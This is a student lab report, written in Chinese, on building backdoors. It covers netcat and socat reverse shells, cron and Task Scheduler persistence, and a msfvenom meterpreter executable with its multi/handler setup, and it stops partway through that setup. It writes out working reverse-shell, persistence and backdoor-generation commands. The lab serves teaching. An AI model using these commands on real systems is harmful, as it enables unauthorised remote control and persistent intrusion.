一、实验内容
由于在不同的网络条件下多次尝试,因此IP会有所不同
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
掌握后门原理及免杀技术
二、问答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过一个被恶意篡改的开源软件库或软件包,这个过程被称为 “供应链攻击”,它利用了我们对可信来源(如官方的软件包仓库)的信任。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
注册表 Run 键、计划任务、DLL 劫持 / 搜索顺序劫持、WMI 事件订阅
(3)Meterpreter有哪些给你映像深刻的功能?
全内存操作与无文件攻击、灵活的通信与传输机制、强大的权限提升和进程迁移、模块化的扩展能力
(4)如何发现自己有系统有没有被安装后门?
监控网络连接、检查异常系统资源占用、使用专业安全软件进行全盘扫描
三、实验过程
(1)使用netcat获取主机Shell,并cron启动某项任务。
先查询两机ip并测试本次实验用到的主机和虚拟机之间的连通性,发现可以互ping成功
在kali中输入nc -l -p 12138监听12138端口,并在windows的cmd中输入nc64.exe -e cmd.exe 192.168.175.129 12138
在kali界面就可以看到windows命令提示
接下来用windows获取kali的shell
与之相反,在windows输入nc64.exe -l -p 12138进行监听,而kali输入nc 192.168.5.6 12138 -e /bin/sh
(最底下那行)
可以看到windows获取了kali的shell
在虚拟机中启动cron并在主机监听
在虚拟机上利用crontab -e指令编辑定时任务,输入2用vim编辑器在最后一行添加
35 * * * * nc 192.168.5.6 12138 -e /bin/sh
表示每个小时的5分反向链接windows的12138端口
这样即可在每个小时的5分获取kali的shell
(2)使用socat获取主机shell
在Windows中按Win+R,再输入compmgmt.msc打开计算机管理
点击创建任务,设置触发器,设置操作为启动先前下载好的程序socat.exe,添加参数:
tcp-listen:12138 exec:cmd.exe,pty,stderr
当到达设定时间后,windows弹出了一个窗口
此时在kali输入socat - tcp:192.168.5.6:12138
可以发现我们成功获取了windows主机shell(dir命令的输出太长就不全部展示了)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在kali虚拟机上生成后门可执行程序,指令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=12138 -f exe > 20232419_backdoor.exe
后门程序创建成功
接下来在Kali上用nc 192.168.5.6 12138 < 20232419_backdoor.exe将生成的后门程序传过去
在主机可以查找到该程序
主机输入nc64.exe -l 12138 > 20232419_backdoor.exe开启监听
随后在kali虚拟机中输入msfconsole打开msf控制台
接下来开始进行配置,依此输入如下命令:
点击查看代码
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #攻击载荷
set LHOST 192.168.175.129
set LPORT 12138